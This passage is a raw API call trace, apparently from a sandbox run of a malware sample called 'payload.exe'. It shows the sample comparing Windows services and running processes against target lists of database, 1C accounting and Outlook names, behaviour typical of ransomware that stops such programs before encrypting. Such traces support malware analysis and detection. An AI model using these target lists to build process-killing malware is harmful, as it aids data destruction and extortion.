lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0112.134] lstrlenW (lpString="iphlpsvc") returned 8 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0112.135] lstrlenW (lpString="LanmanServer") returned 12 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0112.135] lstrlenW (lpString="LanmanWorkstation") returned 17 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0112.135] lstrlenW (lpString="lmhosts") returned 7 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0112.135] lstrlenW (lpString="MMCSS") returned 5 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0112.135] lstrlenW (lpString="MpsSvc") returned 6 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0112.135] lstrlenW (lpString="Netman") returned 6 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0112.135] lstrlenW (lpString="netprofm") returned 8 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0112.135] lstrlenW (lpString="NlaSvc") returned 6 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0112.135] lstrlenW (lpString="nsi") returned 3 [0112.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0112.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0112.135] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0112.135] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0112.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0112.136] lstrlenW (lpString="PcaSvc") returned 6 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0112.136] lstrlenW (lpString="PlugPlay") returned 8 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0112.136] lstrlenW (lpString="Power") returned 5 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0112.136] lstrlenW (lpString="ProfSvc") returned 7 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0112.136] lstrlenW (lpString="RpcEptMapper") returned 12 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0112.136] lstrlenW (lpString="RpcSs") returned 5 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0112.136] lstrlenW (lpString="SamSs") returned 5 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0112.136] lstrlenW (lpString="Schedule") returned 8 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0112.136] lstrlenW (lpString="SENS") returned 4 [0112.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0112.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0112.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0112.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0112.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0112.136] lstrlenW (lpString="ShellHWDetection") returned 16 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0112.137] lstrlenW (lpString="Spooler") returned 7 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0112.137] lstrlenW (lpString="SysMain") returned 7 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0112.137] lstrlenW (lpString="Themes") returned 6 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0112.137] lstrlenW (lpString="TrkWks") returned 6 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0112.137] lstrlenW (lpString="UxSms") returned 5 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0112.137] lstrlenW (lpString="WdiServiceHost") returned 14 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0112.137] lstrlenW (lpString="WdiSystemHost") returned 13 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0112.137] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0112.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0112.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0112.137] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0112.137] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0112.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0112.137] lstrlenW (lpString="Winmgmt") returned 7 [0112.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0112.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0112.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0112.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0112.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0112.138] lstrlenW (lpString="WPDBusEnum") returned 10 [0112.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0112.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0112.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0112.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0112.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0112.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0112.138] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0112.139] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.140] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.140] lstrlenW (lpString="System") returned 6 [0112.140] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0112.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0112.140] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0112.140] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0112.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0112.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0112.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0112.140] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.140] lstrlenW (lpString="smss.exe") returned 8 [0112.140] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0112.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0112.140] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0112.140] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0112.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0112.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0112.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0112.140] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.141] lstrlenW (lpString="csrss.exe") returned 9 [0112.141] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0112.141] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0112.141] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0112.141] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.141] lstrlenW (lpString="wininit.exe") returned 11 [0112.141] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0112.141] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0112.141] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0112.141] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0112.141] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0112.141] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0112.141] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0112.141] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.141] lstrlenW (lpString="csrss.exe") returned 9 [0112.141] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0112.141] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0112.141] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0112.141] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0112.141] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.142] lstrlenW (lpString="winlogon.exe") returned 12 [0112.142] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.142] lstrlenW (lpString="services.exe") returned 12 [0112.142] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.142] lstrlenW (lpString="lsass.exe") returned 9 [0112.142] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0112.143] lstrlenW (lpString="lsm.exe") returned 7 [0112.143] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.143] lstrlenW (lpString="svchost.exe") returned 11 [0112.143] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.143] lstrlenW (lpString="svchost.exe") returned 11 [0112.143] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.143] lstrlenW (lpString="svchost.exe") returned 11 [0112.143] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.144] lstrlenW (lpString="svchost.exe") returned 11 [0112.144] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.144] lstrlenW (lpString="svchost.exe") returned 11 [0112.144] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.144] lstrlenW (lpString="audiodg.exe") returned 11 [0112.144] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.144] lstrlenW (lpString="svchost.exe") returned 11 [0112.144] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.145] lstrlenW (lpString="svchost.exe") returned 11 [0112.145] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0112.145] lstrlenW (lpString="userinit.exe") returned 12 [0112.145] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.145] lstrlenW (lpString="dwm.exe") returned 7 [0112.145] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.145] lstrlenW (lpString="explorer.exe") returned 12 [0112.145] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.146] lstrlenW (lpString="spoolsv.exe") returned 11 [0112.146] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0112.146] lstrlenW (lpString="taskhost.exe") returned 12 [0112.146] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.146] lstrlenW (lpString="svchost.exe") returned 11 [0112.146] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0112.146] lstrlenW (lpString="payload.exe") returned 11 [0112.146] Process32NextW (in: 